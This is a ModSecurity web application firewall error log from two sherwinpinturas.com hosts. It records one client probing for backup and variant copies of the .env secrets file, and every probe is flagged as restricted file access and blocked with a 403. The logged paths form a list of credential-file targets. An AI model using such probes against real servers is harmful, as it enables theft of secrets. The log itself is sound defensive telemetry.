[Mon Oct 26 02:13:15.405148 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve5MnyYq70WIUET3r0gAAABc"]
[Mon Oct 26 02:13:15.405619 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve5MnyYq70WIUET3r0gAAABc"]
[Mon Oct 26 02:13:15.408298 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve8sSJ_JPXSgPpTUB1QAAAA4"]
[Mon Oct 26 02:13:15.408457 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve8sSJ_JPXSgPpTUB1QAAAA4"]
[Mon Oct 26 02:13:15.408708 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at7ve8sSJ_JPXSgPpTUB1QAAAA4"]
[Mon Oct 26 02:13:15.626793 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve5MnyYq70WIUET3r0wAAABc"]
[Mon Oct 26 02:13:15.627115 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve5MnyYq70WIUET3r0wAAABc"]
[Mon Oct 26 02:13:15.627432 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve5MnyYq70WIUET3r0wAAABc"]
[Mon Oct 26 02:13:15.627790 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve8sSJ_JPXSgPpTUB1gAAAA4"]
[Mon Oct 26 02:13:15.627965 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve8sSJ_JPXSgPpTUB1gAAAA4"]
[Mon Oct 26 02:13:15.628201 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at7ve8sSJ_JPXSgPpTUB1gAAAA4"]
[Mon Oct 26 02:13:15.847695 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve5MnyYq70WIUET3r1AAAABc"]
[Mon Oct 26 02:13:15.847933 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve5MnyYq70WIUET3r1AAAABc"]
[Mon Oct 26 02:13:15.848208 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve5MnyYq70WIUET3r1AAAABc"]
[Mon Oct 26 02:13:15.849296 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve8sSJ_JPXSgPpTUB1wAAAA4"]
[Mon Oct 26 02:13:15.849436 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve8sSJ_JPXSgPpTUB1wAAAA4"]
[Mon Oct 26 02:13:15.849665 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at7ve8sSJ_JPXSgPpTUB1wAAAA4"]
[Mon Oct 26 02:13:16.070790 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfJMnyYq70WIUET3r1QAAABc"]
[Mon Oct 26 02:13:16.071034 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfJMnyYq70WIUET3r1QAAABc"]
[Mon Oct 26 02:13:16.071355 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfJMnyYq70WIUET3r1QAAABc"]
[Mon Oct 26 02:13:16.076605 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfMsSJ_JPXSgPpTUB2AAAAA4"]
[Mon Oct 26 02:13:16.076765 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfMsSJ_JPXSgPpTUB2AAAAA4"]
[Mon Oct 26 02:13:16.077029 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at7vfMsSJ_JPXSgPpTUB2AAAAA4"]
[Mon Oct 26 02:13:16.323362 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfJMnyYq70WIUET3r1gAAABc"]
[Mon Oct 26 02:13:16.323604 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfJMnyYq70WIUET3r1gAAABc"]
[Mon Oct 26 02:13:16.323905 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfJMnyYq70WIUET3r1gAAABc"]
[Mon Oct 26 02:13:16.324930 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfMsSJ_JPXSgPpTUB2QAAAA4"]
[Mon Oct 26 02:13:16.325093 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfMsSJ_JPXSgPpTUB2QAAAA4"]
[Mon Oct 26 02:13:16.325353 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at7vfMsSJ_JPXSgPpTUB2QAAAA4"]
[Mon Oct 26 02:13:16.908518 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfMsSJ_JPXSgPpTUB2gAAAA4"]
[Mon Oct 26 02:13:16.908738 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfMsSJ_JPXSgPpTUB2gAAAA4"]
[Mon Oct 26 02:13:16.909101 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfMsSJ_JPXSgPpTUB2gAAAA4"]
[Mon Oct 26 02:13:16.910327 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfJMnyYq70WIUET3r1wAAABc"]
[Mon Oct 26 02:13:16.910480 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfJMnyYq70WIUET3r1wAAABc"]
[Mon Oct 26 02:13:16.910695 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at7vfJMnyYq70WIUET3r1wAAABc"]
[Mon Oct 26 02:13:17.125817 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfcsSJ_JPXSgPpTUB2wAAAA4"]
[Mon Oct 26 02:13:17.126089 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfcsSJ_JPXSgPpTUB2wAAAA4"]
[Mon Oct 26 02:13:17.126383 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfcsSJ_JPXSgPpTUB2wAAAA4"]
[Mon Oct 26 02:13:17.130624 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfZMnyYq70WIUET3r2AAAABc"]
